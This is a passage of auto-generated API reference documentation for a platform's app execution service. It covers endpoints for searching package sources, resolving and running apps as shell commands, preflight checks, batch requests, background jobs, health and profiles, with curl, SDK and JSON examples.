- **GET** `/api/v1/wallet/invoices/{id}/pdf` — Download invoice PDF
- **POST** `/api/v1/wallet/invoices/generate/{id}` — Generate invoice for transaction

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# App: Execution

**Page:** api/app/execution

[Download Raw Markdown](./api/app/execution.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



# App: Execution

The App Execution API resolves, searches, and runs applications across configured package sources. Use these endpoints to look up candidates, plan an execution, delegate to a terminal session, run preflight checks, or batch multiple requests in a single call. The API supports query-parameter selectors, JSON body selectors, and bookmarkable path-based URLs.


  By default, run endpoints are command-only and return the exact shell command without calling `hoody-terminal`. Legacy delegation is opt-in via `HOODY_RUN_ENABLE_TERMINAL_EXECUTE=true`.


## Configuration

### `GET /api/v1/run/config`

Returns the full persisted runtime configuration including sources, profiles, and the currently selected profile.

This endpoint takes no parameters.




```bash
curl -X GET 'https://api.hoody.com/api/v1/run/config' \
  -H 'Authorization: Bearer <token>'
```




```javascript
const config = await client.app.configuration.get();
```




```json
{
  "version": 3,
  "sources": [
    {
      "source_id": "nixpkgs",
      "enabled": true,
      "priority": 100,
      "provider": "nix",
      "source_type": "nix-pkgs"
    }
  ],
  "profiles": [
    {
      "name": "default",
      "description": "Default profile (inherits global sources)"
    }
  ],
  "selected_profile": "default",
  "recipes": [],
  "webhooks": []
}
```




---

## Searching for Candidates

### `GET /api/v1/run/search`

Search for runnable application candidates across all configured and enabled package sources. Returns a ranked list of candidates with stable ordering for pick-by-index operations. The returned `set_id` can be used with subsequent run requests to ensure race-free candidate selection.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `app` | query | string | Yes | Primary name query (aliases `q`, `name`) |
| `os` | query | `app_Os` | No | Target OS filter |
| `source` | query | array | No | Source kind filter (repeatable) |
| `kind` | query | `app_AppKind` | No | App kind filter (`gui`, `cli`, `any`) |
| `arch` | query | `app_Arch` | No | Target CPU architecture filter |
| `tags` | query | array | No | Free-form tags for filtering and ranking (repeatable) |
| `profile` | query | string | No | Named profile for default preferences |
| `channel` | query | string | No | Release channel hint (for example `stable` or `beta`) |
| `version` | query | string | No | Exact version or provider-defined version constraint |
| `variant` | query | string | No | Provider-specific variant hint (for example `portable` or `headless`) |
| `publisher` | query | string | No | Publisher hint for curated registries |
| `repo` | query | string | No | Repository hint such as `owner/name` |
| `release` | query | string | No | Release hint such as a tag name |
| `asset` | query | string | No | Desired asset name or pattern |
| `limit` | query | integer | No | Max candidates to return (default 25) |




```bash
curl -X GET 'https://api.hoody.com/api/v1/run/search?app=firefox&os=linux&kind=any&limit=10' \
  -H 'Authorization: Bearer <token>'
```




```javascript
const result = await client.app.execution.searchCandidates({
  app: "firefox",
  os: "linux",
  kind: "any",
  limit: 10
});
```




```json
{
  "set_id": "a1b2c3d4e5f6",
  "candidates": [
    {
      "candidate_id": "nix-firefox-128",
      "title": "Firefox (nixpkgs)",
      "description": "Mozilla Firefox web browser via nixpkgs",
      "version": "128.0.3",
      "provider": "nix",
      "source_id": "nixpkgs",
      "score": 95,
      "run_plan": {
        "command": "nix run nixpkgs#firefox"
      }
    }
  ]
}
```




```json
{
  "error": "missing app",
  "code": 400
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_APP` | Missing app query | No app name was provided in the request | Set `app`, `q`, or `name` to the desired program |
| `INVALID_SELECTOR` | Invalid selector parameter | One or more selector parameters could not be parsed | Check enum values and numeric fields, then retry |
| `UNKNOWN_PROFILE` | Unknown profile | The requested profile does not exist | Call `listProfiles` or `getConfig` and choose a valid profile name |




```json
{
  "error": "candidate resolution failed",
  "code": 502
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SOURCE_RESOLUTION_FAILED` | Source resolution failed | Candidate resolution could not be completed because upstream source work failed | Retry or inspect provider/source health |




### `POST /api/v1/run/search/paged`

Resolve a full ranked candidate set under a bounded cap, then page through it with an opaque cursor. This is the stable pagination contract for large result sets. The SDK call returns an async iterator that transparently pages through results.

**Request Body**: JSON body conforming to the `app_PagedSearchRequest` schema.




```bash
curl -X POST 'https://api.hoody.com/api/v1/run/search/paged' \
  -H 'Authorization: Bearer <token>' \
  -H 'Content-Type: application/json' \
  -d '{
    "selector": {
      "app": "code",
      "os": "linux",
      "kind": "any"
    },
    "page_size": 25
  }'
```




```javascript
const iterator = client.app.execution.searchCandidatesPagedIterator({
  selector: { app: "code", os: "linux", kind: "any" },
  page_size: 25
});
for await (const page of iterator) {
  console.log(page.items);
}
```




```json
{
  "set_id": "a1b2c3d4e5f6",
  "total_count": 42,
  "items": [
    {
      "candidate_id": "nix-vscode-1.85",
      "title": "Visual Studio Code (nixpkgs)",
      "description": "Open-source code editor",
      "provider": "nix",
      "source_id": "nixpkgs",
      "score": 92,
      "run_plan": {
        "command": "nix run nixpkgs#vscode"
      }
    }
  ],
  "next_cursor": "eyJzZXRJZCI6ImExYjJjM2Q0ZTVmNiIsIm9mZnNldCI6MjV9"
}
```




```json
{
  "error": "missing app",
  "code": 400
}
```




```json
{
  "error": "cursor set expired",
  "code": 409
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CURSOR_SET_EXPIRED` | Cursor set expired | The cached candidate set referenced by the cursor is no longer available | Restart pagination from the first page |




```json
{
  "error": "candidate resolution failed",
  "code": 502
}
```




---

## Running Applications

### `GET /api/v1/run/run`

Resolve and select an application using query parameters, then return the exact shell command to run. Supports all selector fields plus pick mode, output control, deferred execution metadata, and redirect behavior.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `app` | query | string | Yes | Primary name query |
| `os` | query | `app_Os` | No | Target OS filter |
| `source` | query | array | No | Source kind filter (repeatable) |
| `kind` | query | `app_AppKind` | No | App kind filter |
| `arch` | query | `app_Arch` | No | Target CPU architecture filter |
| `tags` | query | array | No | Free-form tags for filtering and ranking (repeatable) |
| `profile` | query | string | No | Named profile for default preferences |
| `channel` | query | string | No | Release channel hint |
| `version` | query | string | No | Exact version or provider-defined version constraint |
| `variant` | query | string | No | Provider-specific variant hint |
| `publisher` | query | string | No | Publisher hint for curated registries |
| `repo` | query | string | No | Repository hint such as `owner/name` |
| `release` | query | string | No | Release hint such as a tag name |
| `asset` | query | string | No | Desired asset name or pattern |
| `pick` | query | `app_PickMode` | No | Candidate selection mode (`ask`, `first`, `index`, `id`) |
| `pick_index` | query | integer | No | Candidate index (required when `pick=index`) |
| `candidate_id` | query | string | No | Specific candidate ID (required when `pick=id`) |
| `set_id` | query | string | No | Bind pick to a specific candidate set |
| `terminal_id` | query | integer | No | Terminal session ID (default 1) |
| `display` | query | string | No | X11 DISPLAY number |
| `origin` | query | string | No | Origin identifier for observability propagation |
| `defer_pid` | query | integer | No | Defer command injection until this PID exits |
| `defer_start_time_ticks` | query | string | No | Start-time ticks used to avoid PID reuse bugs |
| `defer_timeout_ms` | query | integer | No | Maximum defer wait time in milliseconds |
| `defer_poll_ms` | query | integer | No | Defer polling interval in milliseconds |
| `dry_run` | query | boolean | No | If true, force command-only response (no delegation) |
| `print_curl` | query | `app_PrintCurlMode` | No | Generate curl command (`hoody-run` or `hoody-terminal`) |
| `format` | query | `app_OutputFormat` | No | Output format (`json` or `html`) |
| `redirect` | query | boolean | No | Redirect to display page after scheduling |
| `redirect_to` | query | string | No | Override redirect target URL |
| `limit` | query | integer | No | Max candidates (default 25) |




```bash
curl -X GET 'https://api.hoody.com/api/v1/run/run?app=firefox&os=linux&kind=any&pick=first&terminal_id=1' \
  -H 'Authorization: Bearer <token>'
```




```javascript
const result = await client.app.execution.runAppGet({
  app: "firefox",
  os: "linux",
  kind: "any",
  pick: "first",
  terminal_id: 1
});
```




```json
{
  "status": "dry-run",
  "set_id": "a1b2c3d4e5f6",
  "selected": {
    "candidate_id": "nix-firefox-128",
    "title": "Firefox (nixpkgs)",
    "description": "Mozilla Firefox web browser via nixpkgs",
    "version": "128.0.3",
    "provider": "nix",
    "source_id": "nixpkgs",
    "score": 95,
    "run_plan": {
      "command": "nix run nixpkgs#firefox"
    },
    "shell_command": "nix run nixpkgs#firefox"
  },
  "shell_command": "nix run nixpkgs#firefox"
}
```




```json
{
  "error": "missing app",
  "code": 400
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_APP` | Missing app query | No app name was provided in the request | Set `app` to the desired program name |
| `INVALID_SELECTOR` | Invalid selector parameter | One or more selector parameters could not be parsed | Check enum values and numeric fields, then retry |
| `UNKNOWN_PROFILE` | Unknown profile | The requested profile does not exist | Choose a profile returned by `listProfiles` or `getConfig` |
| `INVALID_PICK` | Invalid pick request | The pick mode requirements were not satisfied or the selected candidate was not found | Search first, then supply a valid `pick_index` or `candidate_id` |




```json
{
  "error": "invalid terminal url",
  "code": 500
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_TERMINAL_URL` | Invalid terminal URL | Curl generation could not build a valid hoody-terminal execute URL | Check `HOODY_TERMINAL_URL` and retry |




```json
{
  "error": "candidate resolution failed",
  "code": 502
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SOURCE_RESOLUTION_FAILED` | Source resolution failed | Candidate resolution could not be completed because upstream source work failed | Retry or inspect provider/source health |




```json
{
  "error": "required local tools are unavailable",
  "code": 503
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `LOCAL_TOOLS_UNAVAILABLE` | Required local tools are unavailable | The selected candidate requires local tooling that is not currently available | Install or repair the required toolchain, then retry |




### `POST /api/v1/run/run`

Same behavior as `GET /api/v1/run/run` but accepts the full Selector as a JSON request body. Useful for programmatic clients and complex selectors.

**Request Body**: JSON body conforming to the `app_Selector` schema.




```bash
curl -X POST 'https://api.hoody.com/api/v1/run/run' \
  -H 'Authorization: Bearer <token>' \
  -H 'Content-Type: application/json' \
  -d '{
    "app": "firefox",
    "os": "linux",
    "kind": "any",
    "pick": "first",
    "terminal_id": 1
  }'
```




```javascript
const result = await client.app.execution.runAppPost({
  app: "firefox",
  os: "linux",
  kind: "any",
  pick: "first",
  terminal_id: 1
});
```




```json
{
  "status": "dry-run",
  "set_id": "a1b2c3d4e5f6",
  "selected": {
    "candidate_id": "nix-firefox-128",
    "title": "Firefox (nixpkgs)",
    "description": "Mozilla Firefox web browser via nixpkgs",
    "version": "128.0.3",
    "provider": "nix",
    "source_id": "nixpkgs",
    "score": 95,
    "run_plan": {
      "command": "nix run nixpkgs#firefox"
    },
    "shell_command": "nix run nixpkgs#firefox"
  },
  "shell_command": "nix run nixpkgs#firefox"
}
```




```json
{
  "error": "missing app",
  "code": 400
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_APP` | Missing app query | No app name was provided in the request body | Set `app` to the desired program name |
| `INVALID_SELECTOR` | Invalid selector parameter | One or more selector fields could not be parsed | Check enum values and numeric fields, then retry |
| `UNKNOWN_PROFILE` | Unknown profile | The requested profile does not exist | Choose a profile returned by `listProfiles` or `getConfig` |
| `INVALID_PICK` | Invalid pick request | The pick mode requirements were not satisfied or the selected candidate was not found | Search first, then supply a valid `pick_index` or `candidate_id` |




```json
{
  "error": "invalid terminal url",
  "code": 500
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_TERMINAL_URL` | Invalid terminal URL | Curl generation could not build a valid hoody-terminal execute URL | Check `HOODY_TERMINAL_URL` and retry |




```json
{
  "error": "candidate resolution failed",
  "code": 502
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SOURCE_RESOLUTION_FAILED` | Source resolution failed | Candidate resolution could not be completed because upstream source work failed | Retry or inspect provider/source health |




```json
{
  "error": "required local tools are unavailable",
  "code": 503
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `LOCAL_TOOLS_UNAVAILABLE` | Required local tools are unavailable | The selected candidate requires local tooling that is not currently available | Install or repair the required toolchain, then retry |




### `GET /api/v1/run/go/{rest}`

Resolve an application using clean, bookmarkable path-based URLs. Supports both positional and key-value path segments.

Positional examples:
- `/api/v1/run/go/{app}`
- `/api/v1/run/go/{os}/{app}`
- `/api/v1/run/go/{os}/{source}/{app}`
- `/api/v1/run/go/{os}/{source}/{kind}/{app}`

Key-value example: `/api/v1/run/go/app/{app}/os/{os}/source/{source}/kind/{kind}/pick/{pick}/...`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `rest` | path | string | Yes | Path segments for positional or key-value app specification |
| `os` | query | `app_Os` | No | Target OS filter when not supplied in the path |
| `source` | query | array | No | Source kind filter (repeatable) |
| `kind` | query | `app_AppKind` | No | App kind filter when not supplied in the path |
| `arch` | query | `app_Arch` | No | Target CPU architecture filter |
| `tags` | query | array | No | Free-form tags for filtering and ranking (repeatable) |
| `profile` | query | string | No | Named profile for default preferences |
| `channel` | query | string | No | Release channel hint |
| `version` | query | string | No | Exact version or provider-defined version constraint |
| `variant` | query | string | No | Provider-specific variant hint |
| `publisher` | query | string | No | Publisher hint for curated registries |
| `repo` | query | string | No | Repository hint such as `owner/name` |
| `release` | query | string | No | Release hint such as a tag name |
| `asset` | query | string | No | Desired asset name or pattern |
| `pick` | query | `app_PickMode` | No | Candidate selection mode (`ask`, `first`, `index`, `id`) |
| `pick_index` | query | integer | No | Candidate index (required when `pick=index`) |
| `candidate_id` | query | string | No | Specific candidate ID (required when `pick=id`) |
| `set_id` | query | string | No | Bind pick to a specific candidate set |
| `terminal_id` | query | integer | No | Terminal session ID when not supplied in the path |
| `display` | query | string | No | X11 DISPLAY number |
| `origin` | query | string | No | Origin identifier for observability propagation |
| `defer_pid` | query | integer | No | Defer command injection until this PID exits |
| `defer_start_time_ticks` | query | string | No | Start-time ticks used to avoid PID reuse bugs |
| `defer_timeout_ms` | query | integer | No | Maximum defer wait time in milliseconds |
| `defer_poll_ms` | query | integer | No | Defer polling interval in milliseconds |
| `dry_run` | query | boolean | No | If true, force command-only response (no delegation) |
| `print_curl` | query | `app_PrintCurlMode` | No | Generate curl command (`hoody-run` or `hoody-terminal`) |
| `format` | query | `app_OutputFormat` | No | Output format (`json` or `html`) |
| `redirect` | query | boolean | No | Redirect to display page after scheduling |
| `redirect_to` | query | string | No | Override redirect target URL |
| `limit` | query | integer | No | Max candidates (default 25) |




```bash
curl -X GET 'https://api.hoody.com/api/v1/run/go/linux/nix/firefox?pick=first&terminal_id=1' \
  -H 'Authorization: Bearer <token>'
```




```javascript
const result = await client.app.execution.runPathBased({
  rest: "linux/nix/firefox",
  pick: "first",
  terminal_id: 1
});
```




```json
{
  "status": "dry-run",
  "set_id": "a1b2c3d4e5f6",
  "selected": {
    "candidate_id": "nix-firefox-128",
    "title": "Firefox (nixpkgs)",
    "description": "Mozilla Firefox web browser via nixpkgs",
    "version": "128.0.3",
    "provider": "nix",
    "source_id": "nixpkgs",
    "score": 95,
    "run_plan": {
      "command": "nix run nixpkgs#firefox"
    },
    "shell_command": "nix run nixpkgs#firefox"
  },
  "shell_command": "nix run nixpkgs#firefox"
}
```




```json
{
  "error": "missing app",
  "code": 400
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_APP` | Missing app query | No app name was provided in the request | Set the app in the path or query string |
| `INVALID_SELECTOR` | Invalid selector parameter | One or more selector parameters could not be parsed | Check enum values and numeric fields, then retry |
| `UNKNOWN_PROFILE` | Unknown profile | The requested profile does not exist | Choose a profile returned by `listProfiles` or `getConfig` |
| `INVALID_PICK` | Invalid pick request | The pick mode requirements were not satisfied or the selected candidate was not found | Search first, then supply a valid `pick_index` or `candidate_id` |




```json
{
  "error": "invalid terminal url",
  "code": 500
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_TERMINAL_URL` | Invalid terminal URL | Curl generation could not build a valid hoody-terminal execute URL | Check `HOODY_TERMINAL_URL` and retry |




```json
{
  "error": "candidate resolution failed",
  "code": 502
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SOURCE_RESOLUTION_FAILED` | Source resolution failed | Candidate resolution could not be completed because upstream source work failed | Retry or inspect provider/source health |




```json
{
  "error": "required local tools are unavailable",
  "code": 503
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `LOCAL_TOOLS_UNAVAILABLE` | Required local tools are unavailable | The selected candidate requires local tooling that is not currently available | Install or repair the required toolchain, then retry |




### `GET /api/v1/run/t/{terminal_id}/go/{rest}`

Same as `/api/v1/run/go/{rest}` but with `terminal_id` extracted from the path prefix. Allows clean URLs that specify both the target terminal and the application in a single path.

Example: `/api/v1/run/t/2/go/linux/nix/firefox` runs Firefox in terminal 2.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `terminal_id` | path | integer | Yes | Terminal session ID (1-65535) |
| `rest` | path | string | Yes | Path segments for app specification |
| `os` | query | `app_Os` | No | Target OS filter when not supplied in the path |
| `source` | query | array | No | Source kind filter (repeatable) |
| `kind` | query | `app_AppKind` | No | App kind filter when not supplied in the path |
| `arch` | query | `app_Arch` | No | Target CPU architecture filter |
| `tags` | query | array | No | Free-form tags for filtering and ranking (repeatable) |
| `profile` | query | string | No | Named profile for default preferences |
| `channel` | query | string | No | Release channel hint |
| `version` | query | string | No | Exact version or provider-defined version constraint |
| `variant` | query | string | No | Provider-specific variant hint |
| `publisher` | query | string | No | Publisher hint for curated registries |
| `repo` | query | string | No | Repository hint such as `owner/name` |
| `release` | query | string | No | Release hint such as a tag name |
| `asset` | query | string | No | Desired asset name or pattern |
| `pick` | query | `app_PickMode` | No | Candidate selection mode (`ask`, `first`, `index`, `id`) |
| `pick_index` | query | integer | No | Candidate index (required when `pick=index`) |
| `candidate_id` | query | string | No | Specific candidate ID (required when `pick=id`) |
| `set_id` | query | string | No | Bind pick to a specific candidate set |
| `display` | query | string | No | X11 DISPLAY number |
| `origin` | query | string | No | Origin identifier for observability propagation |
| `defer_pid` | query | integer | No | Defer command injection until this PID exits |
| `defer_start_time_ticks` | query | string | No | Start-time ticks used to avoid PID reuse bugs |
| `defer_timeout_ms` | query | integer | No | Maximum defer wait time in milliseconds |
| `defer_poll_ms` | query | integer | No | Defer polling interval in milliseconds |
| `dry_run` | query | boolean | No | If true, force command-only response (no delegation) |
| `print_curl` | query | `app_PrintCurlMode` | No | Generate curl command (`hoody-run` or `hoody-terminal`) |
| `format` | query | `app_OutputFormat` | No | Output format (`json` or `html`) |
| `redirect` | query | boolean | No | Redirect to display page after scheduling |
| `redirect_to` | query | string | No | Override redirect target URL |
| `limit` | query | integer | No | Max candidates (default 25) |




```bash
curl -X GET 'https://api.hoody.com/api/v1/run/t/2/go/linux/nix/firefox?pick=first' \
  -H 'Authorization: Bearer <token>'
```




```javascript
const result = await client.app.execution.runTerminalAnchored({
  terminal_id: 2,
  rest: "linux/nix/firefox",
  pick: "first"
});
```




```json
{
  "status": "dry-run",
  "set_id": "a1b2c3d4e5f6",
  "selected": {
    "candidate_id": "nix-firefox-128",
    "title": "Firefox (nixpkgs)",
    "description": "Mozilla Firefox web browser via nixpkgs",
    "version": "128.0.3",
    "provider": "nix",
    "source_id": "nixpkgs",
    "score": 95,
    "run_plan": {
      "command": "nix run nixpkgs#firefox"
    },
    "shell_command": "nix run nixpkgs#firefox"
  },
  "shell_command": "nix run nixpkgs#firefox"
}
```




```json
{
  "error": "missing app",
  "code": 400
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_APP` | Missing app query | No app name was provided in the request | Set the app in the path or query string |
| `INVALID_SELECTOR` | Invalid selector parameter | One or more selector parameters could not be parsed | Check enum values and numeric fields, then retry |
| `UNKNOWN_PROFILE` | Unknown profile | The requested profile does not exist | Choose a profile returned by `listProfiles` or `getConfig` |
| `INVALID_PICK` | Invalid pick request | The pick mode requirements were not satisfied or the selected candidate was not found | Search first, then supply a valid `pick_index` or `candidate_id` |




```json
{
  "error": "invalid terminal url",
  "code": 500
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_TERMINAL_URL` | Invalid terminal URL | Curl generation could not build a valid hoody-terminal execute URL | Check `HOODY_TERMINAL_URL` and retry |




```json
{
  "error": "candidate resolution failed",
  "code": 502
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SOURCE_RESOLUTION_FAILED` | Source resolution failed | Candidate resolution could not be completed because upstream source work failed | Retry or inspect provider/source health |




```json
{
  "error": "required local tools are unavailable",
  "code": 503
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `LOCAL_TOOLS_UNAVAILABLE` | Required local tools are unavailable | The selected candidate requires local tooling that is not currently available | Install or repair the required toolchain, then retry |




---

## Preflight

### `POST /api/v1/run/preflight`

Resolve, optionally pick, and normalize the execution plan for a selector without scheduling execution. Use this endpoint to inspect what would happen — including missing requirements, recommended mode, and effective policy — before actually running a request.

**Request Body**: JSON body conforming to the `app_Selector` schema.




```bash
curl -X POST 'https://api.hoody.com/api/v1/run/preflight' \
  -H 'Authorization: Bearer <token>' \
  -H 'Content-Type: application/json' \
  -d '{
    "app": "firefox",
    "os": "linux",
    "kind": "any",
    "pick": "first"
  }'
```




```javascript
const plan = await client.app.execution.preflight({
  app: "firefox",
  os: "linux",
  kind: "any",
  pick: "first"
});
```




```json
{
  "set_id": "a1b2c3d4e5f6",
  "selected": {
    "candidate_id": "nix-firefox-128",
    "title": "Firefox (nixpkgs)",
    "description": "Mozilla Firefox web browser via nixpkgs",
    "version": "128.0.3",
    "provider": "nix",
    "source_id": "nixpkgs",
    "score": 95,
    "run_plan": {
      "command": "nix run nixpkgs#firefox"
    },
    "shell_command": "nix run nixpkgs#firefox"
  },
  "shell_command": "nix run nixpkgs#firefox",
  "recommended_mode": "dry-run",
  "terminal_request_preview": {
    "terminal_url": "http://127.0.0.1:7682/api/v1/terminal/execute",
    "terminal_id": 1,
    "display": ":0",
    "origin": "hoody-run",
    "command": "nix run nixpkgs#firefox"
  },
  "redirect_target": "/apps/nixpkgs/firefox",
  "missing_requirements": [],
  "warnings": [],
  "effective_policy": {
    "require_verified": false,
    "require_integrity": false,
    "allow_delegated_execution": true,
    "allow_redirect": true,
    "deny_providers": [],
    "deny_source_ids": []
  }
}
```




```json
{
  "error": "missing app",
  "code": 400
}
```




```json
{
  "error": "candidate resolution failed",
  "code": 502
}
```




---

## Batch Execution

### `POST /api/v1/run/batch`

Process multiple search or command-only run items in one request. Each item produces its own success or error payload. Use this endpoint to amortize overhead when you need to resolve or run several apps at once.

**Request Body**: JSON body conforming to the `app_BatchRequest` schema.




```bash
curl -X POST 'https://api.hoody.com/api/v1/run/batch' \
  -H 'Authorization: Bearer <token>' \
  -H 'Content-Type: application/json' \
  -d '{
    "items": [
      {
        "request_id": "req-1",
        "mode": "search",
        "selector": { "app": "firefox", "os": "linux", "kind": "any" }
      },
      {
        "request_id": "req-2",
        "mode": "run",
        "selector": { "app": "code", "os": "linux", "kind": "any", "pick": "first" }
      }
    ]
  }'
```




```javascript
const result = await client.app.execution.runBatch({
  items: [
    { request_id: "req-1", mode: "search", selector: { app: "firefox", os: "linux", kind: "any" } },
    { request_id: "req-2", mode: "run", selector: { app: "code", os: "linux", kind: "any", pick: "first" } }
  ]
});
```




```json
{
  "items": [
    {
      "result": "search",
      "request_id": "req-1",
      "search": {
        "set_id": "a1b2c3d4e5f6",
        "candidates": [
          {
            "candidate_id": "nix-firefox-128",
            "title": "Firefox (nixpkgs)",
            "description": "Mozilla Firefox web browser via nixpkgs",
            "provider": "nix",
            "source_id": "nixpkgs",
            "score": 95,
            "run_plan": { "command": "nix run nixpkgs#firefox" }
          }
        ]
      }
    },
    {
      "result": "run",
      "request_id": "req-2",
      "run": {
        "status": "dry-run",
        "set_id": "b2c3d4e5f6a7",
        "shell_command": "nix run nixpkgs#vscode"
      }
    }
  ]
}
```




---

## API Documentation

### `GET /api/v1/run/openapi.json`

Returns the OpenAPI 3.0.3 specification for this API in JSON format. Converted from the canonical YAML source.

This endpoint takes no parameters.




```bash
curl -X GET 'https://api.hoody.com/api/v1/run/openapi.json' \
  -H 'Authorization: Bearer <token>'
```




```javascript
const spec = await client.app.docs.getJson();
```




```json
{
  "openapi": "3.0.3",
  "info": {
    "title": "Hoody App Execution API",
    "version": "1.0.0"
  },
  "paths": {}
}
```




### `GET /api/v1/run/openapi.yaml`

Returns the OpenAPI 3.0.3 specification for this API in YAML format.

This endpoint takes no parameters.




```bash
curl -X GET 'https://api.hoody.com/api/v1/run/openapi.yaml' \
  -H 'Authorization: Bearer <token>'
```




```javascript
const spec = await client.app.docs.getYaml();
```




```yaml
openapi: 3.0.3
info:
  title: Hoody App Execution API
  version: 1.0.0
paths: {}
```

---

# Hoody App

**Page:** api/app/index

[Download Raw Markdown](./api/app/index.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Hoody App

The App service powers Hoody's application runtime — execution, sources, recipes, and runtime health. This section covers the operational endpoints for the App service.

## Health

### `GET /api/v1/run/health`

Returns the standardized 9-field health response for the App service. This endpoint is unauthenticated and always returns HTTP 200 with `application/json` when the service is up.

This endpoint takes no parameters.

#### Response




```json
{
  "status": "ok",
  "service": "hoody-app",
  "built": "2025-01-15T10:30:00Z",
  "started": "2025-01-20T14:22:18Z",
  "memory": {
    "rss": 134217728,
    "heap": 67108864
  },
  "fds": 42,
  "pid": 12345,
  "ip": "10.0.0.5",
  "userAgent": "node-fetch/1.0"
}
```




#### SDK Usage

```typescript
const health = await client.app.health.check();
```

#### cURL

```bash
curl https://api.hoody.com/api/v1/run/health
```

---

# App: Jobs

**Page:** api/app/jobs

[Download Raw Markdown](./api/app/jobs.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Overview

The Jobs API lets you queue long-running app operations as background jobs and poll their status. Use these endpoints when a synchronous request would time out — start a search job, receive a job handle, then poll the status endpoint until the job reaches a terminal state. The status endpoint also supports long-polling to block until completion.

---

## Get job status

`GET /api/v1/run/jobs/{job_id}`

Retrieve the current status of an async background job. Supports long-polling with `wait=done` to block until the job completes or a timeout is reached.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `job_id` | path | string | Yes | Job identifier (UUID) |
| `wait` | query | string | No | Set to `done` to long-poll until job completes |
| `timeout_ms` | query | integer | No | Long-poll timeout in milliseconds (default `0`, max `120000`) |

### Response




```json
{
  "job_id": "550e8400-e29b-41d4-a716-446655440000",
  "kind": "source-sync",
  "status": "done",
  "created_at": "2025-01-15T10:30:00Z",
  "updated_at": "2025-01-15T10:30:05Z",
  "result_type": "search-response",
  "result": {
    "candidates": []
  }
}
```




```json
{
  "error": "No job exists with the requested identifier",
  "code": 404
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `JOB_NOT_FOUND` | Job not found | No job exists with the requested identifier | Use the job_id returned by syncSource or syncAllSources |




### SDK Usage

```ts
const job = await client.app.jobs.getStatus({
  job_id: "550e8400-e29b-41d4-a716-446655440000",
  wait: "done",
  timeout_ms: 30000
});
```

### cURL

```bash
curl https://api.hoody.com/api/v1/run/jobs/550e8400-e29b-41d4-a716-446655440000?wait=done&timeout_ms=30000 \
  -H "Authorization: Bearer <token>"
```

---

## Start an async search job

`POST /api/v1/run/search/jobs`

Queue a candidate search in the background and return a job handle that can be polled through the [Get job status](/api/app/jobs/#get-job-status) endpoint. The response is returned immediately with HTTP `202 Accepted` and a `job_id` you can poll.

### Request Body

The request body is a `Selector` object describing the search criteria. The full selector schema is shared with the synchronous run endpoint; the only field always required is `app`.

```json
{
  "app": "firefox",
  "os": "linux",
  "kind": "gui",
  "limit": 25
}
```

### Response




```json
{
  "job_id": "9b2c1f4a-7d3e-4a8b-bf6e-2c1a9d8e7f01",
  "kind": "search-resolve",
  "status": "queued",
  "created_at": "2025-01-15T10:30:00Z",
  "updated_at": "2025-01-15T10:30:00Z"
}
```




```json
{
  "error": "Invalid selector: app is required",
  "code": 400
}
```




```json
{
  "error": "Job queue unavailable",
  "code": 503
}
```




### SDK Usage

```ts
const job = await client.app.jobs.createSearch({
  data: {
    app: "firefox",
    os: "linux",
    kind: "gui"
  }
});

const status = await client.app.jobs.getStatus({
  job_id: job.job_id,
  wait: "done",
  timeout_ms: 60000
});
```

### cURL

```bash
curl -X POST https://api.hoody.com/api/v1/run/search/jobs \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "app": "firefox",
    "os": "linux",
    "kind": "gui"
  }'
```


Combine `createSearch` with `getStatus({ wait: "done" })` to mimic a synchronous call while still offloading long-running lookups to the background worker. Set `timeout_ms` up to `120000` to control how long the long-poll blocks before returning the current state.

---

# App: Profiles

**Page:** api/app/profiles

[Download Raw Markdown](./api/app/profiles.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



User profiles bundle a set of default selectors, source overrides, and policy constraints that get applied to subsequent app requests. Use the endpoints on this page to list existing profiles, create new ones, update their configuration, select the active profile, or delete profiles that are no longer needed.


When a profile is selected via `POST /api/v1/run/profiles/{profile}/select`, its defaults are merged into every subsequent request that does not explicitly override them. Deleting the currently selected profile clears the active selection.


## List profiles

Returns every configured user profile with its default preferences and source overrides. Use this to discover available profiles before selecting one or composing a new configuration.

### `GET /api/v1/run/profiles`

This endpoint takes no parameters.



```bash
curl https://api.hoody.com/api/v1/run/profiles \
  -H "Authorization: Bearer <token>"
```


```ts
const profiles = await client.app.profiles.list();
```


```json
[
  {
